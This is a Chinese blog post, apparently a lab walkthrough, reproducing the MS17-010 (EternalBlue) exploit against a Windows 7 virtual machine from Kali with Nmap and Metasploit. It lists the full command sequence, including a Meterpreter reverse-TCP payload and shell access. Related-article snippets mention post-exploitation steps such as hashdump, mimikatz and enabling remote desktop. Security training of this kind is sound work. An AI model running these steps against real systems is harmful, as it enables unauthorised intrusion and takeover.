（一阶段）渗透测试：MS17-010

已于 2023-11-04 17:04:57 修改
阅读量69 收藏
点赞数
文章标签： web安全 安全
于 2023-10-13 18:29:05 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Settle_accounts/article/details/133814332
版权
本文介绍了如何在KaliLinux环境中使用Nmap探测Windows7靶机的IP地址并扫描其端口，然后通过Metasploit利用MS17-010漏洞执行MeterpreterreverseTCP攻击，最终实现提权并控制目标机器的过程。
摘要由CSDN通过智能技术生成

使用工具

  • Nmap
  • Metasploit

环境准备

  • Kali-Linux（模拟攻击）
  • Windows7（靶机）

复现

查看靶机ip地址

ipconfig

 

 扫描靶机端口开放情况

nmap 192.168.0.105

 

 启用msf

msfconsole

搜索漏洞ms17-010

search ms17-010

 

 使用序号0的攻击模块

use 0

 

 设置攻击负载

set payload windows/x64/meterpreter/reverse_tcp

 

 设置靶机ip（win7）

set rhost 192.168.0.105

 

 设置攻击者ip（kali）

set lhost 192.168.0.106

 开始攻击

run

查看权限

getuid

 

通过shell进行提权，控制靶机

 shell

婉转又悠扬
关注
渗透测试和复现ms17-010漏洞攻击
Yb528970805的博客
09-15 451
ms17_010 是一种操作系统漏洞，仅影响 Windows系统中的 SMBv1 服务。这个漏洞是由于SMBv1 内核函数中的缓冲区溢出而导致的。攻击者可以通过该漏洞控制目标系统，并执行任意代码。这个漏洞通过 445文件共享端口进行利用，一旦攻击者成功利用该漏洞，就可以在目标主机上植入各种恶意软件，如勒索软件。
渗透测试基础+ms17-010（永恒之蓝）漏洞复现
2302_79348448的博客
08-11 176
可以看到我们已经成功了，这里我是上传到了c盘里面，记住输写命令一定要“//”正反无所谓，但一定要输入双斜杠。Required里面yes选项是一定要填的，必须确定一个攻击对象，可以看到缺少的是RHOSTS。上面出现一个问题，第一次为什么会报错，借用老师的话讲，就是空格是为了遵循语法格式，便于扫描。可以看到乱码已经消灭了，转到了主机win7目录下面，查看下它的ip。可以看到文档是已经在我们的桌面上的，说明我们已经成功了。看到很多的乱码是不是，不要慌，，跟着我输入命令。
渗透测试实战-漏洞利用MS17-010
09-26 474
渗透测试实战-漏洞利用MS17-010
Windows下的MS17-010（永恒之蓝）漏洞分析与复现
热门推荐
dgjkkhcf的博客
07-20 1万+
永恒之蓝漏洞（MS17-010），它的爆发源于 WannaCry 勒索病毒的诞生，该病毒是不法分子利用美国国家安全局泄露的漏洞 “EternalBlue”（永恒之蓝）进行改造而成 ，“永恒之蓝”是利用Windows系统的SMB漏洞来获取Windows系统的最高权限。.........
永恒之蓝（MS17-010）漏洞复现
qq_43006864的博客
04-28 1818
攻击机：win10 靶机：win7 一：信息收集阶段 nmap：nmap -sS -sV -A -p- 192.168.1.107 看到目标主机时win7系统，并开启了445端口。存在被攻击的可能。 二、攻击准备阶段。 MSF（win版） （1）查看可利用漏洞exp信息。 search ms17-010 （2）探测漏洞可否被利用。这里选择scanner，对目标主机进行扫描。 执行命令：use 3 或者use auxiliary/scanner/smb/smb_ms1.
[网络安全 渗透实验 01]基于MSF框架渗透攻击Win7主机系统的设计与实现
m0_54524462的博客
02-01 1926
该文章仅供网络安全相关爱好者和学习者学习使用！
永恒之蓝漏洞ms17-010
weixin_65336001的博客
05-01 1855
什么是永恒之蓝漏洞？利用ms17-010漏洞攻击Windows7复现超细教程
渗透测试 ( 6 ) --- SQL 注入神器 sqlmap
墨鱼菜鸡
07-11 3094
sqlmap 官网：http://sqlmap.org/ sqlmap文档地址：https://github.com/sqlmapproject/sqlmap/wiki/Usage sqlmap 使用 思维导图：http://download.csdn.net/detail/freeking101/9887831 黑帽与白帽都喜爱的十大SQL注入工具：...
渗透测试 ( 3 ) --- Metasploit Framework ( MSF )
墨鱼菜鸡
07-11 4487
白嫖 Metasploit Pro 2022：https://zhuanlan.zhihu.com/p/449836479 白嫖 Metasploit Pro 2022：http://t.zoukankan.com/hxlinux-p-15787814.html 好东西之 metasploit pro：https://www.52pojie.cn/thr...
MS17-010 漏洞利用+修复方法
qq_44484541的博客
04-07 2918
使用时一般配合查看远程用户的空闲时长，空闲时间再进行远程登陆，减小被发现的风险。可以发现，靶机上扫到4个漏洞，其中包括了ms17-010。开始攻击，出现meterpreter >表示运行成功。rhosts显示远程主机未配置，配置目标主机ip。开始扫描漏洞，确认靶机存在ms17-010漏洞。使用扫描模块确认是否存在ms17-010漏洞。6.启用远程桌面，配合上一步获取到的密码登陆。使用ms17-010攻击模块并设置攻击载荷。利用nmap漏洞脚本进行扫描。搜索ms17-010相关模块。nmap端口快速扫描。
Metasploitable渗透测试实战：ms17-010
weixin_68951704的博客
05-05 2999
漏洞简介： 永恒之蓝（即ms17-010）是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。 Windows操作系统的SMBv1协议中存在安全漏洞。攻击者会扫描开放445文件
Metasploit（一） 利用 MS17-010 漏洞进行攻击
buffedon的博客
06-03 5824
借助 metasploit 利用 MS17-010 漏洞进行攻击Metasploit 简介 （简称：MSF）经常被利用的端口MS17-010利用流程1. 存活判断2. 端口扫描3. 服务识别4. 系统识别5. 漏洞利用后渗透阶段基础命令POST后渗透模块访问文件系统权限提升获取密码的方式run windows/gather/credentials/windows_autologinhashdump 模块mimikatz程序加载kiwi模块MSF中的 mimikatz 模块 Metasploit 简介 （简称
Windows网络服务渗透测试实战`MS17-010漏洞复现的学习
GUN_C的博客
11-14 1042
永恒之蓝，渗透基础
网络安全实战（三）Kali Linux渗透测试（永恒之蓝 MS17-010漏洞复现）
weixin_42474227的博客
12-30 9618
永恒之蓝 MS17-010漏洞复现 学好网络安全，保护自己，保护家人
Metasploit利用ms17_010渗透测试winserv 2008 SP 2
E4
04-27 7002
这次我们利用的是ms17-10对2008服务器进行一次渗透测试。 话不多说QAQ 测试环境： 攻击机：Kali (2018,2) IP：192.168.10.78 靶机：windows server 2008 (SP1) IP：192.168.10.77 因为我的kali是2018年的，已经附带了ms17_010，有些小伙伴的kali还是2016的版本，我这里也贴出来了下载...
msf通过win7“ms17-010：永恒之蓝”进行渗透测试
weixin_41023533的博客
11-24 3330
msf通过win7“ms17-010：永恒之蓝”进行渗透测试 一.查找该漏洞 二.使用该漏洞的探测模块（auxiliary/scanner/smb/smb_ms17_010），对目标主机进行‘是否存在该漏洞’的检查 三.使用该漏洞的攻击模块进行攻击（use exploit/windows/smb/ms17_010_eternalblue） 四.创建新用户，并进行远程连接（方法一） 使用enable_rdp脚本开启远程桌面并创建用户 1.开启远程桌面：run post/windows/manage/en
网络安全（黑客技术）2024年三个月自学手册
最新发布
2401_85026116的博客
09-14 2455
网络安全可以基于攻击和防御视角来分类，我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。走安全行业的工程方向的，技术上面其实有很大的重叠性，抛开甲乙方、岗位名称、岗位职责等因素来看，作为学技术的，也根据以往我们给学员推荐就业和入职情况来看，只要好好掌握以下几种技术（网络协议与安全设备、Linux操作系统、Web服务部署/开发、主流渗透测试/安全工具、一门及以上的编程语言）中的2到3个，都可以较好的胜任工作需求。
Metasploit渗透测试教程：利用MS12-004漏洞
"这篇文档详细介绍了如何利用Metasploit框架进行渗透测试，特别是针对MS12-004漏洞的利用。文中通过Backtrack5操作系统内置的工具，如Metasploit Framework和Netcat，展示了渗透测试的过程。" Metasploit是一款广泛...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值